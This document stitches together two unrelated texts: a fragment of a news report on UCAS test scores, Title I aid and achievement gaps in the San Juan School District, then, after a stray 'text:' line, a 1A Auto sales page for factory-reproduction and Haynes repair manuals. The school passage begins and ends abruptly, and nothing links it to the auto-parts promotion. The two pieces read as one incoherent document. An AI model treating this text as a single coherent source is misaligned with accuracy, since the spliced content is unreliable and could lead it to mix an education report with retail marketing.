Of the district's five high schools, two scored above the state average of 398.
Each school has the potential to score 600 points on the UCAS test. Achievement scores can total 300 and progress scores can total 300.
Title I schools will still receive federal help through the state, and additional resources will be available to the schools scoring in the bottom 15 percent.
The test results are another indication of the challenges faced by many students in the San Juan School District.
In addition to individual challenges, there is a performance gap. Students from minority populations continuing to struggle when compared to general student populations.
Southern schools in the sprawling district have generally done better on AYP measures than other schools on the Navajo Reservation. The southern schools have a majority of Native American students.


text:
#auto repair manuals
Repair Manuals
Repair Manuals at 1A Auto
What are auto repair manuals for?
Here at 1A Auto, we believe that knowledge is the most important tool in your garage. Our video library and automotive information pages are always here to help you find the right parts and get them installed. Sometimes though, you might want a little more help, something you can keep ready at hand for easy reference. That s what auto repair manuals are for. A good auto repair manual can save you a lot of time and effort (and maybe even money) by helping you get the job done more quickly and easily, and helping you get it right the first time.
What types of auto repair manuals do you have?
The manuals we carry are either reproductions of factory service manuals or Haynes brand manuals. Whether you drive a car, truck, SUV, or van, odds are that we have an automotive repair manual for your make and model.
The original service manual from a vehicle s manufacturer is one of the best sources of information about that vehicle. After all, you re getting it straight from the source. Unfortunately, these shop manuals can be hard to come by, especially for older models. We make them available again in a digital form. You can get a CD-Rom that contains a complete reproduction of the original service manual. Then, you can print out whatever pages you need, and if you get grease all over them, it s no big deal. You can just print out more!
Haynes repair manuals also contain invaluable information. These manuals are based on a complete tear-down and rebuild of a car or truck in question. Each Haynes auto repair manual contains hundreds of color photographs, so you can follow the repair process in both words and pictures. Although most Haynes manuals focus on maintenance and repairs, some contain information for those of you who want to customize their car or truck.
What is in the auto repair manuals?
All of our car and truck manuals are loaded with the information that do-it-yourselfers need. They contain descriptions of the various automotive systems, repair instructions, tune-up procedures, and maintenance schedules. Did we mention they have pictures? So, with a new manual, you will have all the tools you need to tackle your repair job successfully.
Need an automotive repair manual for your car or truck?
At 1A Auto, we offer many repair and maintenance manuals, including factory shop manuals on CD, as well as Haynes manuals, for many makes and models. These automobile repair manuals are a must have for anybody looking to do work on their vehicles. They offer many time and money-saving tips, as well as instructions that will make sure your repair job goes without a hitch. Pick one up today and see how easy it is to work on your own car, truck, SUV or van.
We also make shopping for automotive shop manuals for your car or truck easy we're here to help you! Call our customer service toll free at 888-844-3393 if you have any questions about our auto repair manuals, warranty, compatibility or to purchase, or you can buy online.